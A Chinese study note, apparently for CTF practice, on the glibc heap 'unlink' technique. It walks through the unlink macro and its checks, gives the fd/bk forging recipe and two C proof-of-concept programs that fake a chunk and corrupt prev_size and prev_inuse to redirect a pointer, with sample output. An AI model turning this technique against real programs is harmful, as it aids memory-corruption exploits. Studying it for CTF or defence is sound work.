unlink 漏洞笔记

资料来源:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink/

前导知识

malloc_chunk 结构

struct malloc_chunk {
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

部分字段的具体的解释如下

  • fd,bk。 chunk 处于分配状态时,从 fd 字段开始是用户的数据。chunk 空闲时,会被添加到对应的空闲管理链表中,其字段的含义如下
    • fd 指向下一个(非物理相邻)空闲的 chunk
    • bk 指向上一个(非物理相邻)空闲的 chunk
    • 通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理
  • fd_nextsize, bk_nextsize,也是只有 chunk 空闲的时候才使用,不过其用于较大的 chunk(large chunk)。
    • fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
    • bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
    • 一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列。这样做可以避免在寻找合适 chunk 时挨个遍历

我们在利用 unlink 所造成的漏洞时,其实就是对进行 unlink chunk 进行内存布局,然后借助 unlink 操作来达成修改指针的效果。

我们先来简单回顾一下 unlink 的目的与过程,其目的是把一个双向链表中的空闲块拿出来(例如 free 时和目前物理相邻的 free chunk 进行合并)。其基本的过程如下

unlink smallbin introduction

然我们先来看看源码:

glibc-2.27/malloc/malloc.c:1403

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
  if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
    malloc_printerr ("corrupted size vs. prev_size");            \
  FD = P->fd;                      \
  BK = P->bk;                      \
  if (__builtin_expect (FD->bk != P || BK->fd != P, 0))          \
    malloc_printerr ("corrupted double-linked list");            \
  else {                      \
      FD->bk = BK;                    \
      BK->fd = FD;                    \
      if (!in_smallbin_range (chunksize_nomask (P))            \
          && __builtin_expect (P->fd_nextsize != NULL, 0)) {          \
    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)        \
  || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
      malloc_printerr ("corrupted double-linked list (not small)");   \
          if (FD->fd_nextsize == NULL) {              \
              if (P->fd_nextsize == P)              \
                FD->fd_nextsize = FD->bk_nextsize = FD;          \
              else {                    \
                  FD->fd_nextsize = P->fd_nextsize;            \
                  FD->bk_nextsize = P->bk_nextsize;            \
                  P->fd_nextsize->bk_nextsize = FD;            \
                  P->bk_nextsize->fd_nextsize = FD;            \
                }                    \
            } else {                    \
              P->fd_nextsize->bk_nextsize = P->bk_nextsize;          \
              P->bk_nextsize->fd_nextsize = P->fd_nextsize;          \
            }                      \
        }                      \
    }                        \
}

由于glibc-2.23的源码没有size检查,但是发行的库中却有size检查,所有鄙人用glibc-2.27的源码。

size检查

if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
  malloc_printerr ("corrupted size vs. prev_size");            \

由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。

双向链表完整性检查

FD = P->fd;                      \
BK = P->bk;                      \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))          \
  malloc_printerr ("corrupted double-linked list");            \

检查 fd 和 bk 指针。

双向链表完整性检查

  if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)        \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
    malloc_printerr ("corrupted double-linked list (not small)");   \

这个平常不怎么用到,是对于 large bin 的检查。

核心部分

FD->bk = BK;                    \
BK->fd = FD;                    \

即通过此方式,P 的指针指向了比自己低 12 的地址处。此方法虽然不可以实现任意地址写,但是可以修改指向 chunk 的指针,这样的修改是可以达到一定的效果的。

利用思路

条件

  1. UAF ,可修改 free 状态下 smallbin 或是 unsorted bin 的 fd 和 bk 指针
  2. 已知位置存在一个指针指向可进行 UAF 的 chunk

效果

使得已指向 UAF chunk 的指针 ptr 变为 ptr - 0x18

思路

设指向可 UAF chunk 的指针的地址为 ptr

  1. 修改 fd 为 ptr - 0x18
  2. 修改 bk 为 ptr - 0x10
  3. 触发 unlink

ptr 处的指针会变为 ptr - 0x18

代码举例

原理就如下面的代码所示:

#include <stdio.h>
#include <stdlib.h>

// 机器字长,64位机器为8,32位机器为4
#define MACHINE_SIZE (sizeof(void *))

struct malloc_chunk
{
    size_t prev_size; /* Size of previous chunk (if free).  */
    size_t size;      /* Size in bytes, including overhead. */

    struct malloc_chunk *fd; /* double links -- used only if free. */
    struct malloc_chunk *bk;

    /* Only used for large blocks: pointer to next larger size.  */
    struct malloc_chunk *fd_nextsize; /* double links -- used only if free. */
    struct malloc_chunk *bk_nextsize;
};

int main()
{
    struct malloc_chunk *chunk1, *chunk2;
    char *ptr1, *ptr2;

    // 不要申请fastbin
    ptr1 = malloc(0x80);
    ptr2 = malloc(0x80);
    chunk1 = ptr1 - 2 * MACHINE_SIZE;
    chunk2 = ptr2 - 2 * MACHINE_SIZE;

    free(ptr1);
    chunk1->fd = ((char *)&chunk1) - 3 * MACHINE_SIZE;
    chunk1->bk = ((char *)&chunk1) - 2 * MACHINE_SIZE;

    fprintf(stderr, "Starting chunk1: %p ; &chunk1: %p\n", chunk1, &chunk1);
    // 触发unlink
    free(ptr2);

    fprintf(stderr, "Then chunk1: %p ; &chunk1: %p\n", chunk1, &chunk1);
    fprintf(stderr, "%p(&chunk1) - %p(chunk1) = %d\n", &chunk1, chunk1,
            (char *)&chunk1 - (char *)chunk1);
    return 0;
}

一般情况下的unlink漏洞举例

要点

  1. 修改下一个相邻chunk的prev_size,使其与构造的假chunk相对应。
  2. 修改下一个相邻chunk的prev_in_use位为未使用状态。

一般都是由heap overflow来实现上述操作的。

#include <stdio.h>
#include <stdlib.h>

// 机器字长,64位机器为8,32位机器为4
#define MACHINE_SIZE (sizeof(void *))

int main()
{
    char *ptr1, *ptr2;

    // 不要申请fastbin
    ptr1 = malloc(0x80);
    ptr2 = malloc(0x80);

    // *(size_t *)ptr1 = 0;
    // *(size_t *)(ptr1 + MACHINE_SIZE) = 0x80;
    // fake_chunk->fd, ensures fake_chunk->fd->bk == fake_chunk
    *(void **)(ptr1 + 2 * MACHINE_SIZE) = (char *)&ptr1 - 3 * MACHINE_SIZE;
    // fake_chunk->bk, ensures fake_chunk->bk->fd == fake_chunk
    *(void **)(ptr1 + 3 * MACHINE_SIZE) = (char *)&ptr1 - 2 * MACHINE_SIZE;

    // 修改ptr2的chunk的prev_size ,使得其指向fake_chunk
    *(size_t *)(ptr2 - 2 * MACHINE_SIZE) = (*(size_t *)(ptr1 - 1 * MACHINE_SIZE) 
                            - 2 * MACHINE_SIZE) & (-8) ; // 去除低 3 bit的状态标记

    // 修改ptr2的chunk的 prev_in_use 为未使用状态
    *(size_t *)(ptr2 - MACHINE_SIZE) -= 1;

    fprintf(stderr, "Starting ptr1: %p ; &ptr1: %p\n", ptr1, &ptr1);
    // 触发unlink
    free(ptr2);

    fprintf(stderr, "Then ptr1: %p ; &ptr1: %p\n", ptr1, &ptr1);
    fprintf(stderr, "%p(&ptr1) - %p(ptr1) = %ld\n", &ptr1, ptr1,
            (char *)&ptr1 - (char *)ptr1);
    return 0;
}

运行实例(环境:glibc-2.23)

ex@ubuntu:~/test$ gcc main.c -o main
ex@ubuntu:~/test$ ./main
Starting ptr1: 0x1020010 ; &ptr1: 0x7ffeb72fdb88
Then ptr1: 0x7ffeb72fdb70 ; &ptr1: 0x7ffeb72fdb88
0x7ffeb72fdb88(&ptr1) - 0x7ffeb72fdb70(ptr1) = 24
ex@ubuntu:~/test$ 

总结

unlink这种比较抽象的漏洞需要多多写几遍他的C语言漏洞实例以保持手感,要不然时间过久了,再次看到unlink的话就会变得很生疏。